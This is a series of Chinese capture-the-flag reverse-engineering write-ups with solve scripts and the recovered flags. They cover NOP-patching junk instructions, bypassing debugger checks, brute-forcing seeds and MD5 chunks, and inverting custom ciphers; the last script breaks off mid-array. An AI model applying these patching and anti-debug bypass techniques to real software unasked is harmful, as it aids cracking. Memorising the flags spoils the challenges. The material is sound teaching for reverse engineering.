0x01 echo-server[N3]
分析
本题主要考察花指令分析 执行程序,发现没有环境,使用下面的指令安装环境
yay -S lib32-openssl-1.0
IDA 查看
查看反汇编
将爆红的 call 转为数据,可以看到有
db 0E8h
,是常见的花指令,用 NOP 填充后重新用 IDA 打开,后续大多是这样操作
选中第一段按下 P,注意不要选到 nop 了
可以成功反编译了,但是还有一处异常
查看反汇编窗口,这里应该是一个判断,不应该跳转到自己的开头,然后判断失败后直接执行 exit,
结合上一段汇编代码,这里应该是上一段的接续,直接 nop 掉不应该存在的跳转指令
nop 掉后,逻辑就清晰了,再次 F5 反汇编
如图,反汇编正常了
接下来分析程序逻辑,开始动调,输入F1@gA
,查看汇编代码
这里应该跳转的,但是没跳转,直接执行 exit,试试直接修改为 jmp
输出
F8C60EB40BF66919A77C4BD88D45DEF4
提交,发现这就是 flag
exp
F8C60EB40BF66919A77C4BD88D45DEF4
0x02 catch-me[N3]
分析
拖入 IDA,查看反汇编
从 byte_6012A8 到 dword_6012AC 占用连续的空间,猜测是同一个数组
动调得到 v3 的值为0xB11924E1
得到
getenv("CTF") = v3 ^ 0xFEEBFEEB
猜测
getenv("ASIS") == getenv("CTF")
中间一大堆的 SSE 指令没对 haystack 做修改,先跳过,想了解可以看
解法 1
程序通过 getenv 函数获取环境变量的值,那么直接往环境变量里写入正确的值就行了
可以通过 export 设置临时环境变量,终端关闭后自动清除
(通过printf可以导入十六进制整数类型,值得积累)
export ASIS="$(printf "\x0a\xda\xf2\x4f")" #注意参数是从低位到高位的
export CTF="$(printf "\x0a\xda\xf2\x4f")"
解法 2
纯逆向,下面贴出 exp
exp
key1 = 0xFEEBFEEB
key2 = 0xB11924E1
key3 = list((key1 ^ key2).to_bytes(4, 'little'))
print(','.join(hex(key3[i]) for i in range(4))) #0x0A,0xDA,0xF2,0x4F
data = [
0x87, 0x29, 0x34, 0xC5, 0x55, 0xB0, 0xC2, 0x2D, 0xEE, 0x60,
0x34, 0xD4, 0x55, 0xEE, 0x80, 0x7C, 0xEE, 0x2F, 0x37, 0x96,
0x3D, 0xEB, 0x9C, 0x79, 0xEE, 0x2C, 0x33, 0x95, 0x78, 0xED,
0xC1, 0x2B
]
key = [0xB1,0x19&0xFD,0x24&0xDF,0xE1&0xBF,0x0A,0xDA,0xF2,0x4F]
flag = ''
for i in range(len(data)):
flag += chr(data[i] ^ key[i & 7])
print(f'ASIS{{{flag}}}')
0x03 梅津美治郎[N3]
分析
运行程序
拖入 IDA,查看反汇编
动调,解释如图
这里要注意到
lpProcName = ::lpProcName; // lpProcName = AddVectoredExceptionHandler
hModule = GetModuleHandleA(lpModuleName); // GetModuleHandleA获取模块名,这里获取的模块为kernel32.dll
ProcAddress = (void (__stdcall *)(HMODULE, LPCSTR))GetProcAddress(hModule, lpProcName);// GetProcAddress获取模块中的函数,这里为AddVectoredExceptionHandler函数
ProcAddress((HMODULE)1, (LPCSTR)sub_40157F); // AddVectoredExceptionHandler(1, sub_40157F);自定义异常处理
在微软的官方文档中有定义
PVOID AddVectoredExceptionHandler(
ULONG First,
PVECTORED_EXCEPTION_HANDLER Handler
);
The order in which the handler should be called. If the parameter is nonzero, the handler is the first handler to be called. If the parameter is zero, the handler is the last handler to be called. 处理程序的调用顺序。如果参数为非零,则处理程序是第一个被调用的处理程序。如果参数为零,则处理程序是要调用的最后一个处理程序。 A pointer to the handler to be called. 指向要调用的处理程序的指针
这里把 sub_40157F 设为第一个异常处理函数
puts("You passed level1!");
sub_4015EA(0);
在sub_4015EA
中有一个__debugbreak();
函数,汇编就是int 3
,意思就是引发一个中断,把执行权移交给调试器,如果没有调试器,那就移交给其他异常处理回调函数,如果都没有,那么程序就自己断下来,这里就是为了触发回调函数,如果没有调试器附加,那么 debugbreak 产生的异常会被 AddVectoredExceptionHandler 添加的回调函数捕获来处理,这里添加的回调函数也就是 sub_40157F 函数。
这里顺便再提一嘴 Windows 的异常处理机制
flowchart LR A["触发异常"]-->B["调试器"]-->C["向量化异常处理(VEH)"]-->D["结构化异常处理(SEH)"]-->E["顶层未处理异常过滤器(UEF)"]
动调可以看到sub_4015EA
输出了Please enter the second Password:
,然后进入了上面注册的异常处理函数 sub_40157F
很简单的逻辑,就是
flag2^2
后与dword_40AD98
对比,已知dword_40AD98 = 'u1nnf2lg'
,很容易推出第二段 flag
exp
flag1 = 'r0b0RUlez!'
data = 'u1nnf2lg'
flag = ''
for i in range(len(data)):
flag += chr(ord(data[i])^2)
flag = 'flag{' + flag1 + '_' + flag + '}' #flag要用'_'拼接,攻防世界没给提示,看别的wp才知道
print(flag)
0x04 csaw2013reversing2[N4]
题目描述:听说运行就能拿到 Flag,不过菜鸡运行的结果不知道为什么是乱码
分析
根据题目的描述,先打开看看
确实是乱码,猜测程序内有对 flag 字符串的加密后输出,但那样就很容易得到 flag,所以应该是有密文与解密函数,但没有执行解密
IDA 打开,F5 查看 main 伪代码
进行动调调试,断点到 if 语句,看到
.text:00BE108C call ds:IsDebuggerPresent
.text:00BE1092 test eax, eax
.text:00BE1094 jz short loc_BE10B9
jz short loc_BE10B9
没有实现,直接执行了 if 外的内容
将 int 3 改为 nop,执行完成call sub_BE1000
,观察堆栈
看到在堆栈中有可疑的 flag 字符串,转到地址,发现 flag
flag{reversing_is_not_that_hard!}
exp
0x05 mfc 逆向-200[N4]
分析
查壳发现 VMP 壳,看来只能靠 MFC 的工具来逆向了
先运行程序,发现没有任何输入和按钮,猜测要SendMessage
某个数据来实现输入与按钮的功能
先用 xpy++分析一下,获取窗口的类名和窗口名(FindWindowA)
name = 'Flag就在控件里'
class = '944c8d100f82f0c18b682f63e4dbaa207a2f1e72581c2f1b'
用 xspy 分析程序内部调用
message map=0x00588CF4(719015c9db1242fcbc1c8617ede10401.exe+ 0x188cf4 )
msg map entries at 0x00588D00(719015c9db1242fcbc1c8617ede10401.exe+ 0x188d00 )
OnMsg:WM_SYSCOMMAND(0112),func= 0x00401FD0(719015c9db1242fcbc1c8617ede10401.exe+ 0x001fd0 )
OnMsg:WM_PAINT(000f),func= 0x00402080(719015c9db1242fcbc1c8617ede10401.exe+ 0x002080 )
OnMsg:0464,func= 0x00402170(719015c9db1242fcbc1c8617ede10401.exe+ 0x002170 )
OnMsg:WM_QUERYDRAGICON(0037),func= 0x00402160(719015c9db1242fcbc1c8617ede10401.exe+ 0x002160 )
注意到OnMsg:0464,func= 0x00402170(719015c9db1242fcbc1c8617ede10401.exe+ 0x002170 )
,应该是用户函数,尝试向程序发送 0x464 消息,看看会发生什么
#include <stdio.h>
#include<stdio.h>
#include "windows.h"
int main(){
HWND hWnd = FindWindow("944c8d100f82f0c18b682f63e4dbaa207a2f1e72581c2f1b", NULL);
if(hWnd){
SendMessage(hWnd,0x464,NULL,NULL);
}
system("pause");
return 0;
}
exp
0x06 reverse-box[N5]
- 题目描述
$ ./reverse_box ${FLAG} 95eeaf95ef94234999582f722f492f72b19a7aaf72e6e776b57aee722fe77ab5ad9aaeb156729676ae7a236d99b1df4a flag 格式:TWCTF{}
分析
攻防世界没给题目描述,难怪做不出来,在别的 wp 里找到了描述,就是输入flag
会输出95eeaf95ef94234999582f722f492f72b19a7aaf72e6e776b57aee722fe77ab5ad9aaeb156729676ae7a236d99b1df4a
运行程序,随便输入点东西
每次输出都不一样,猜测有以
时间为种子的随机数
的生成
IDA 打开,F5 查看 main 伪代码
sub_804858D(v4)
应该对 v4 做了一些操作,进去看看
注意ROR1是循环右移.ROL 才是循环左移,图中描述有误
以时间为种子的随机数对 v4 进行了位操作,需要爆破种子
已知flag 格式 TWCTF{},所以有
v4[84]=0x95,v4[87]=0xee,v4[67]=0xaf,v4[84]=0x95,v4[70]=0xef,v4[123]=0x94,v4[125]=0x4a
那就按照这个限制条件去爆破种子,见 exp
exp
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
int __ROR1__(unsigned __int8 a, int b){
return (a >> b) | (a << (8 - b));
}
int main(){
char n27; // al
char n9; // al
int v4; // ecx
int v5; // eax
int v6; // ecx
int v7; // eax
int v8; // ecx
int v9; // eax
int v10; // ecx
int result; // eax
char v12; // [esp+1Ah] [ebp-Eh]
unsigned __int8 v13; // [esp+1Bh] [ebp-Dh]
char v14; // [esp+1Bh] [ebp-Dh]
char v15; // [esp+1Bh] [ebp-Dh]
int v16; // [esp+1Ch] [ebp-Ch]
unsigned __int8 a1[256] = {0};
for(int i = 1;i < 256;i++){
memset(a1,0,sizeof(a1));
a1[0] = i;
v12 = 1;
v13 = 1;
do
{
if ( v12 >= 0 )
n27 = 0;
else
n27 = 27;
v12 ^= (2 * v12) ^ n27;
v14 = (4 * ((2 * v13) ^ v13)) ^ (2 * v13) ^ v13;
v15 = (16 * v14) ^ v14;
if ( v15 >= 0 )
n9 = 0;
else
n9 = 9;
v13 = v15 ^ n9;
v4 = v13;
v4 = __ROR1__(v13, 7);
v5 = v4 ^ (v13 ^ *a1);
v6 = v13;
v6 = __ROR1__(v13, 6);
v7 = v6 ^ v5;
v8 = v13;
v8 = __ROR1__(v13, 5);
v9 = v8 ^ v7;
v10 = v13;
v10 = __ROR1__(v13, 4);
result = v10 ^ v9;
a1[v12] = result;
}while ( v12 != 1 );
if(a1[84]==0x95 && a1[87]==0xee && a1[67]==0xaf && a1[84]==0x95 && a1[70]==0xef && a1[123]==0x94 && a1[125]==0x4a){
printf("%d\n",i);
for(int j = 0;j < 256;j++){
if(j % 16 == 0) printf("\n");
printf("0x%02x,",a1[j]);
}
break;
}
}
}
data = [
0xd6,0xc9,0xc2,0xce,0x47,0xde,0xda,0x70,0x85,0xb4,0xd2,0x9e,0x4b,0x62,0x1e,0xc3,
0x7f,0x37,0x7c,0xc8,0x4f,0xec,0xf2,0x45,0x18,0x61,0x17,0x1a,0x29,0x11,0xc7,0x75,
0x02,0x48,0x26,0x93,0x83,0x8a,0x42,0x79,0x81,0x10,0x50,0x44,0xc4,0x6d,0x84,0xa0,
0xb1,0x72,0x96,0x76,0xad,0x23,0xb0,0x2f,0xb2,0xa7,0x35,0x57,0x5e,0x92,0x07,0xc0,
0xbc,0x36,0x99,0xaf,0xae,0xdb,0xef,0x15,0xe7,0x8e,0x63,0x06,0x9c,0x56,0x9a,0x31,
0xe6,0x64,0xb5,0x58,0x95,0x49,0x04,0xee,0xdf,0x7e,0x0b,0x8c,0xff,0xf9,0xed,0x7a,
0x65,0x5a,0x1f,0x4e,0xf6,0xf8,0x86,0x30,0xf0,0x4c,0xb7,0xca,0xe5,0x89,0x2a,0x1d,
0xe4,0x16,0xf5,0x3a,0x27,0x28,0x8d,0x40,0x09,0x03,0x6f,0x94,0xa5,0x4a,0x46,0x67,
0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,
0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,
0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,
0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,
0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,
0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,
0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,
0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00
]
enc = '95eeaf95ef94234999582f722f492f72b19a7aaf72e6e776b57aee722fe77ab5ad9aaeb156729676ae7a236d99b1df4a'
index = []
for i in range((len(enc)//2)):
index.append(int(enc[i*2:i*2+2], 16))
flag = ''
for i in range(len(index)):
flag += chr(data.index(index[i]))
print(flag)
0x07 first[N5]
分析
IDA 打开,F5 查看 main 伪代码
代码很长,直接从最后的判断部分往回看
若输入的 flag 正确,则输出 FLAG,按下 X 看看 FLAG 来自哪里
在
start_routine
里有对 FLAG 进行的赋值操作,赋值为输入的 flag 的 md5 值,看看start_routine
在哪调用
在 main 函数中,有这么一段
do
{
// 尝试创建一个线程,将线程 ID 存入 p_newthread_1[0],
// 线程入口函数为 start_routine,参数为 arg[0]
if ( pthread_create(p_newthread_1, 0, start_routine, arg) )
{
perror("pthread_create");
exit(-1);
}
// 移动到数组下一个槽
++arg;
++p_newthread_1;
}
while ( arg != 6 );
创建了 6 个线程,执行start_routine
函数,接下来分析一下start_routine
unsigned __int64 __fastcall start_routine(void *a1)
{
__int64 v1; // rbx
int v2; // eax
__int64 v3; // rdx
__int64 v5; // [rsp+0h] [rbp-38h]
unsigned __int64 v6; // [rsp+18h] [rbp-20h]
v6 = __readfsqword(0x28u);
v1 = a1;
usleep(useconds[a1]);
pthread_mutex_lock(&mutex);
sub_400E10(&Input[v1], 4u); // MD5加密输入的flag,每次加密4字节
v2 = dword_6021E8;
v3 = dword_6021E8;
if ( v5 == qword_602120[a1] ) // juhuhfenlapsiuerhjifdunu
FLAG[v3] = Input[v1];
else
FLAG[v3] = 0;
dword_6021E8 = v2 + 1;
pthread_mutex_unlock(&mutex);
return __readfsqword(0x28u) ^ v6;
}
sub_400E10
是 MD5 加密函数,传入 4u,每次加密 4 字节,就是 4 个字符,又知道qword_602120
,爆破一下 md5
import hashlib
check="4746bbbd02bb590fbeac2821ece8fc5cad749265ca7503ef4386b38fc12c4227b03ecc45a7ec2da7be3c5ffe121734e8"
for w in range(0,6):
for i in range(48,123):
for j in range(48,123):
for m in range(48,123):
for n in range(48,123):
temp=chr(i)+chr(j)+chr(m)+chr(n)
hashvalue=hashlib.md5(temp.encode()).hexdigest()
if hashvalue[0:16]==check[w*16:w*16+16]:
print(w,temp)
得到
0 juhu
1 hfen
2 laps
3 iuer
4 hjif
5 dunu
看起来不像有 flag 的词,猜测在 main 函数中对输入的 flag 进行了一些操作,先把可能的加密后的 flag 拼接起来 由于usleep 和线程锁的存在,不知道输入的字符串的每 4 字节什么时候赋值给 FLAG,需要爆破 6!次
from itertools import permutations
parts = ['juhu','hfen','laps','iuer','hjif','dunu']
enc_flag = [''.join(p) for p in permutations(parts)]
有了所有可能的结果后,返回 main 函数看看对输入的 flag 做了什么
v10 不用爆破因为异或操作可以无序
v10 = 0
for i in range(len(enc_flag)):
v10 ^= (ord(enc_flag[i]) + i)
最后又回到了末尾处
提取
key = [0x0, 0xFE, 0xE9, 0xF4, 0xE2, 0xF1, 0xFA, 0xF4, 0xE4, 0xF0, 0xE7, 0xE4, 0xE5, 0xE3, 0xF2, 0xF5, 0xEF, 0xE8, 0xFF, 0xF6, 0xF4, 0xFD, 0xB4, 0xA5, 0xB2]
for perm in enc_flag:
sample = ''.join(perm)
flag = ''
for i in range(len(sample)):
flag_temp = (v10 ^ key[i] ^ ord(sample[i]))
flag += chr(flag_temp)
if 'flag' in flag:
print(flag)
筛选后得到 flag
goodjobyougetthisflag233
知识点
pthread_create
- pthread_create
pthread_create 是类 Unix 操作系统(Unix、Linux、Mac OS X 等)的创建线程的函数。它的功能是创建线程(实际上就是确定调用该线程函数的入口点),在线程创建以后,就开始运行相关的线程函数。
- 函数原型
#include <pthread.h>
int pthread_create(pthread_t *restrict thread,
const pthread_attr_t *restrict attr,
void *(*start_routine)(void *),
void *restrict arg);
- 返回值
- 成功返回 0
- 失败返回错误号
在 POSIX 规范中,pthread_create() 之所以在成功时返回 0 而非 1,是因为它遵循C 语言与 UNIX 体系中 0 表示成功、非零表示出错的惯例;返回值直接指示函数执行状态,而非线程函数的返回值
- 参数说明
restrict 是 C99 引入的类型限定符,用于告诉编译器:带 restrict 限定的指针在其生命周期内是该内存对象的唯一访问途径,从而消除别名(alias)可能,帮助编译器进行更激进的优化 简单来说就是告诉编译器可以放心对这个函数做优化,程序员自己会保证这些指针所指的内存区间互不重叠
- thread:pthread_create 成功返回后,新创建的线程的 id 被填写到 thread 参数所指向的内存单元
- attr:线程属性,可以为 NULL,表示使用默认的线程属性
- start_routine:线程入口函数指针。该函数必须接受一个 void _ 参数并返回 void _。新线程启动后即执行此函数
- arg:传递给 start_routine 的参数指针,可用于向线程函数传递数据结构或简单值;若不需参数可传 NULL
- 举例
#include <pthread.h>
#include <stdio.h>
#include <stdlib.h>
// 线程入口函数
void *thread_func(void *arg) {
printf("子线程:Hello, pthread!\n");
return NULL; // 等价于 pthread_exit(NULL);
}
int main() {
pthread_t tid;
int ret;
// 创建线程,使用默认属性(NULL),传递 NULL 作为参数
ret = pthread_create(&tid, NULL, thread_func, NULL);
if (ret != 0) {
perror("pthread_create 错误"); // 若失败,打印错误原因
exit(EXIT_FAILURE);
}
// 等待子线程结束
ret = pthread_join(tid, NULL);
if (ret != 0) {
perror("pthread_join 错误");
exit(EXIT_FAILURE);
}
printf("主线程:子线程已结束,程序退出。\n");
return 0;
}
$ gcc your_code.c -o your_program -lpthread
子线程:Hello, pthread!
主线程:子线程已结束,程序退出。
pthread_mutex_lock 与 pthread_mutex_unlock
- 函数原型
#include <pthread.h>
int pthread_mutex_lock(pthread_mutex_t *mutex);
int pthread_mutex_unlock(pthread_mutex_t *mutex);
pthread_mutex_lock() 和 pthread_mutex_unlock() 是 POSIX 线程(pthreads)库中最基本的互斥原语,用于在多线程程序中保护共享资源,防止竞态条件。调用 pthread_mutex_lock() 时,如果互斥锁当前未被其他线程持有,则立即获得锁;否则,调用线程被阻塞直至锁可用。pthread_mutex_unlock() 则释放锁,并根据互斥锁类型及调度策略唤醒一个等待线程继续执行
- 互斥锁
互斥锁是多个线程一起去抢,抢到锁的线程先执行,没抢到的等待,释放后其它等待线程再去抢,顺序无保证
POSIX 标准并未规定等待队列的调度顺序,具体实现(glibc/futex、Solaris、实时策略等)各不相同,默认 SCHED_OTHER 下通常不保证 FIFO,也可能出现饥饿
相关函数补充
函数 | 原型 | 功能说明 |
---|---|---|
pthread_mutex_init |
int pthread_mutex_init(pthread_mutex_t *restrict m, const pthread_mutexattr_t *restrict a); |
初始化互斥锁对象 m ,使其可用于加锁/解锁。若 a 为 NULL 则使用默认属性。 |
pthread_mutex_destroy |
int pthread_mutex_destroy(pthread_mutex_t *m); |
销毁互斥锁 m ,使其变为未初始化状态。仅当锁未被持有且无线程等待时才安全调用。 |
pthread_mutex_lock |
int pthread_mutex_lock(pthread_mutex_t *m); |
对互斥锁加锁;若已被持有则阻塞等待,直到获得锁为止。 |
pthread_mutex_trylock |
int pthread_mutex_trylock(pthread_mutex_t *m); |
尝试对互斥锁加锁;若锁已被持有,不阻塞而立即返回 EBUSY 。 |
pthread_mutex_timedlock |
int pthread_mutex_timedlock(pthread_mutex_t *restrict m, const struct timespec *restrict t); |
带超时的加锁:阻塞至锁可用或绝对时间 t 到期。若超时则返回 ETIMEDOUT 。 |
pthread_mutex_unlock |
int pthread_mutex_unlock(pthread_mutex_t *m); |
释放互斥锁;若有线程在等待,则唤醒其中一个再次竞争锁。 |
pthread_mutexattr_init |
int pthread_mutexattr_init(pthread_mutexattr_t *attr); |
初始化互斥锁属性对象 attr ,将所有属性设置为实现的默认值。 |
pthread_mutexattr_destroy |
int pthread_mutexattr_destroy(pthread_mutexattr_t *attr); |
销毁互斥锁属性对象,使其变为未初始化;不会影响已基于该属性初始化的互斥锁。 |
pthread_mutexattr_settype |
int pthread_mutexattr_settype(pthread_mutexattr_t *attr, int type); |
设置属性对象的锁类型(NORMAL /ERRORCHECK /RECURSIVE /DEFAULT ) |
pthread_mutexattr_gettype |
int pthread_mutexattr_gettype(const pthread_mutexattr_t *attr, int *type); |
获取属性对象当前的锁类型值。 |
pthread_mutexattr_setprotocol |
int pthread_mutexattr_setprotocol(pthread_mutexattr_t *attr, int protocol); |
设置调度协议(PTHREAD_PRIO_NONE /_INHERIT /_PROTECT ),用于优先级继承/保护。 |
pthread_mutexattr_getprotocol |
int pthread_mutexattr_getprotocol(const pthread_mutexattr_t *attr, int *protocol); |
获取当前调度协议属性值。 |
pthread_mutexattr_setpshared |
int pthread_mutexattr_setpshared(pthread_mutexattr_t *attr, int pshared); |
设置锁的进程共享属性(PTHREAD_PROCESS_PRIVATE /PTHREAD_PROCESS_SHARED ),决定能否跨进程使用。 |
pthread_mutexattr_getpshared |
int pthread_mutexattr_getpshared(const pthread_mutexattr_t *attr, int *pshared); |
获取进程共享属性值。 |
pthread_mutex_consistent |
int pthread_mutex_consistent(pthread_mutex_t *m); |
针对 ROBUST 互斥锁:若前任持有者崩溃导致锁不一致,可调用此函数将锁状态标记为一致。 |
exp
# import hashlib
# check="4746bbbd02bb590fbeac2821ece8fc5cad749265ca7503ef4386b38fc12c4227b03ecc45a7ec2da7be3c5ffe121734e8"
# for w in range(0,6):
# for i in range(48,123):
# for j in range(48,123):
# for m in range(48,123):
# for n in range(48,123):
# temp=chr(i)+chr(j)+chr(m)+chr(n)
# hashvalue=hashlib.md5(temp.encode()).hexdigest()
# if hashvalue[0:16]==check[w*16:w*16+16]:
# print(w,temp)
from itertools import permutations
string = "juhuhfenlapsiuerhjifdunu"
parts = ['juhu','hfen','laps','iuer','hjif','dunu']
enc_flag = list(permutations(parts, 6))
key = [0xFE, 0xE9, 0xF4, 0xE2, 0xF1, 0xFA, 0xF4, 0xE4, 0xF0, 0xE7, 0xE4, 0xE5, 0xE3, 0xF2, 0xF5, 0xEF, 0xE8, 0xFF, 0xF6, 0xF4, 0xFD, 0xB4, 0xA5, 0xB2]
v10 = 0
for i in range(len(string)):
v10 ^= (ord(string[i]) + i)
for perm in enc_flag:
sample = ''.join(perm)
flag = ''
for i in range(len(sample)):
flag_temp = (v10 ^ key[i] ^ ord(sample[i]))
flag += chr(flag_temp)
if 'flag' in flag:
print(flag)
0x08 asong[N5]
分析
IDA 载入,F5 反编译 main 函数
在 main 函数中,首先 read_input 读取输入,然后在 check_input 里检查是否是 QCTF{开头,并且提取 QCTF{}包裹的内容
再看 frequency 函数,在这个函数里对文件 that_girl 进行字符统计,存入 a2,也就是 main 函数传入的 v4
先看看是怎么统计的,在 change_bytes 函数里
change_bytes 函数将 that_girl 的字符进行了映射,将 26 个字母不区分大小写归到下标 10-35,其他字符也做了相应的变化
特别的,将'0’转为了下标 0
写个脚本统计一下,转为 dict 字典,便于后续计算
with open('that_girl','r',encoding='utf-8') as f:
fs = f.read()
fs = fs.lower()
out = {}
for i in fs:
out.update({i:fs.count(i)})
out = sorted(out.items())
out = [('a', 104), ('b', 30), ('c', 15), ('d', 29), ('e', 169), ('f', 19), ('g', 38), ('h', 67), ('i', 60), ('k', 20), ('l', 39), ('m', 28), ('n', 118), ('o', 165), ('p', 26), ('r', 61), ('s', 51), ('t', 133), ('u', 45), ('v', 7), ('w', 34), ('y', 62), ('\n', 66), (' ', 71), ("'", 40), ('_', 245)]
out_map = {out[i][0]:out[i][1] for i in range(len(out))}
最后看 encode 函数,这是本题的核心难点
for ( i = 0; i < len_input; ++i )
enc[i] = *(4LL * change_bytes(Input[i]) + a2);
// enc[i] = a2[Input[i]]
这一步将输入的字符映射到了 a2 的下标,得到了 enc 的值
// sub_400D33(enc);
__int64 __fastcall sub_400D33(unsigned __int8 *enc)
{
__int64 result; // rax
_BYTE v2[5]; // [rsp+13h] [rbp-5h]
v2[4] = 0;
*v2 = *enc; //v2[0] = enc[0]
while ( data[v2[1]] )
{
enc[v2[1]] = enc[data[v2[1]]];
v2[1] = data[v2[1]];
}
result = v2[0];
enc[v2[1]] = v2[0];
return result;
}
这里有点混淆,*&v2[1]
中 v2[1]取了值,&取了这个值的地址,*取了这个地址的值,那不就是 v2[1]的值吗?
获取data = [22, 0, 6, 2, 30, 24, 9, 1, 21, 7, 18, 10, 8, 12, 17, 23, 13, 4, 3, 14, 19, 11, 20, 16, 15, 5, 25, 36, 27, 28, 29, 37, 31, 32, 33, 26, 34, 35]
模拟一下
v2[0] = enc[0]
enc[0] = enc[22]
enc[22] = enc[20]
enc[20] = enc[19]
......
enc[1] = v2[0]
能看出来这个函数对 enc 进行了以 data 为表的特殊的"循环左移"操作
逆向
new_map = []
ori_map = []
flag = enc.copy()
v1 = 0
ori_map.append(0)
while data[v1]:
new_map.append(data[v1])
ori_map.append(data[v1])
v1 = data[v1]
new_map.append(data[v1])
print(new_map)
print(ori_map)
for i in range(len(new_map)):
flag[new_map[i]] = enc[ori_map[i]]
最后来看真正的加密函数sub_400DB4
,整理后是
_BYTE *__fastcall sub_400DB4(_BYTE *enc, int len_Input)
{
for ( i = 0; i < len_Input - 1; ++i )
enc[i] = (enc[i] << 3) | (enc[i + 1] >> 5);
enc[len_Input - 1] = (enc[len_Input - 1] << 3) | (enc[0] >> 5);
}
逆向
renc = []
tmp = enc[len(enc) - 1] & 0x7
for i in range(len(enc)):
ttmp = enc[i] & 0x7
renc.append(tmp << 5 | (enc[i] >> 3))
tmp = ttmp
最后再处理 enc 的构建
for ( i = 0; i < len_input; ++i )
enc[i] = *(4LL * change_bytes(Input[i]) + a2);
enc[i] = a2[Input[i]]
,所以逆向为Input[i] = a2.index(enc[i])
flag = []
for i in renc:
flag.append(list(out_map.keys())[list(out_map.values()).index(i)])
QCTF{that_girl_saying_no_for_your_vindicate}
exp
with open('that_girl','r',encoding='utf-8') as f:
fs = f.read()
fs = fs.lower()
out = {}
for i in fs:
out.update({i:fs.count(i)})
out = sorted(out.items())
out = [('a', 104), ('b', 30), ('c', 15), ('d', 29), ('e', 169), ('f', 19), ('g', 38), ('h', 67), ('i', 60), ('k', 20), ('l', 39), ('m', 28), ('n', 118), ('o', 165), ('p', 26), ('r', 61), ('s', 51), ('t', 133), ('u', 45), ('v', 7), ('w', 34), ('y', 62), ('\n', 66), (' ', 71), ("'", 40), ('_', 245)]
out_map = {out[i][0]:out[i][1] for i in range(len(out))}
enc = [
0xEC, 0x29, 0xE3, 0x41, 0xE1, 0xF7, 0xAA, 0x1D, 0x29, 0xED, 0x29, 0x99, 0x39, 0xF3, 0xB7, 0xA9,
0xE7, 0xAC, 0x2B, 0xB7, 0xAB, 0x40, 0x9F, 0xA9, 0x31, 0x35, 0x2C, 0x29, 0xEF, 0xA8, 0x3D, 0x4B,
0xB0, 0xE9, 0xE1, 0x68, 0x7B, 0x41
]
renc = []
tmp = enc[len(enc) - 1] & 0x7
for i in range(len(enc)):
renc.append(tmp << 5 | (enc[i] >> 3))
tmp = enc[i] & 0x7
mmap = [0, 22, 20, 19, 14, 17, 4, 30, 29, 28, 27, 36, 34, 33, 32, 31, 37, 35, 26, 25, 5, 24, 15, 23, 16, 13, 12, 8,
21, 11, 10, 18, 3, 2, 6, 9, 7, 1]
tmp = renc[1]
for i in range(len(mmap) - 1, -1, -1):
renc[mmap[i]] = renc[mmap[i - 1]]
renc[0] = tmp
flag = []
for i in renc:
flag.append(list(out_map.keys())[list(out_map.values()).index(i)])
print(''.join(flag))
0x09 reverse_re1[N5]
- 题目来源 : 泰山杯
- 题目描述 : 玫瑰玫瑰我爱你
分析
IDA 载入,反编译 main 函数,看起来很简洁,但这不一定是好事
主要有两个函数,其中sub_5555554008F0
没有用到用户输入的内容(buf
),猜测是对某个数据的初始化
进去看看
伪代码并不完全能给出我想要的信息,需要查看反汇编代码
可以看到
qword_555555400F80
的地址被赋予src
,具体是lea rax, qword_555555400F80
然后再分析
qmemcpy(
((src + 2) & 0xFFFFFFFFFFFFFFF8LL),
(qword_555555400F80 - (src - ((src + 2) & 0xFFFFFFFFFFFFFFF8LL))),
8LL * (((src - ((src + 8) & 0xFFFFFFF8) + 256) & 0xFFFFFFF8) >> 3));
化简一下就是
qmemcpy(
((src + 2) & 0xFFFFFFFFFFFFFFF8LL),
((src + 2) & 0xFFFFFFFFFFFFFFF8LL),
8LL * (((src - ((src + 8) & 0xFFFFFFF8) + 256) & 0xFFFFFFF8) >> 3));
原地赋值,所以这行没用,应该是混淆 真正有用的是
_DWORD *src;
__int64 n8;
char v5;
unsigned __int8 v4;
for ( i = 0; i <= 0xFF; ++i )
{
v4 += *(src + i) + *(i % n8 + a2);
v5 = *(src + i);
*(src + i) = *(src + v4);
*(src + v4) = v5;
}
逆向
unsigned __int8 v4 = 0;
char v5 = 0;
int key[] = {0x1, 0x23, 0x45, 0x67, 0x89, 0xAB, 0xCD, 0xEF};
int num[256] = {0};
for(int i = 0;i < 256;i++)
{
num[i] = i;
}
for(int i = 0;i < 0xFF;i++)
{
v4 += num[i] + key[i % 8];
v5 = num[i];
num[i] = num[v4];
num[v4] = v5;
}
接着分析第二个函数
用到了
src + 512
和src + 520
,在上一个函数中有对这两个地址进行了赋值
一个为 1,一个为 0
逆向逻辑简单,请见 exp
exp
#include <iostream>
int main()
{
unsigned __int8 v4 = 0;
int v5 = 0;
int key[] = {0x1, 0x23, 0x45, 0x67, 0x89, 0xAB, 0xCD, 0xEF};
int num[256] = {0};
int flag[256] = {
0x12, 0xF8, 0xA3, 0x80, 0x6B, 0x2E, 0x69, 0x0A, 0x74, 0x24,
0xB7, 0x32, 0x53, 0xFC, 0x7A, 0x9D, 0xE8, 0x7B, 0x9B, 0x2E,
0xEF, 0xF3, 0x0B, 0x45, 0x63, 0x01, 0x35, 0xB7, 0x76, 0x8C,
0xCB, 0xD9, 0xC6, 0x8B, 0x8C, 0x2A, 0xA8, 0xAD, 0x67, 0x09,
0x5C, 0x0F, 0x52, 0xD4, 0x9D, 0x27, 0xC3, 0xD0, 0xC5, 0x91,
0xC0, 0xEA, 0xBF, 0x0D, 0xE7, 0x6C, 0x1A, 0x6A, 0x1A, 0x12,
0xB7, 0xB8, 0x18, 0xB9, 0x46, 0xC3, 0x5B, 0x90, 0x45, 0x7B,
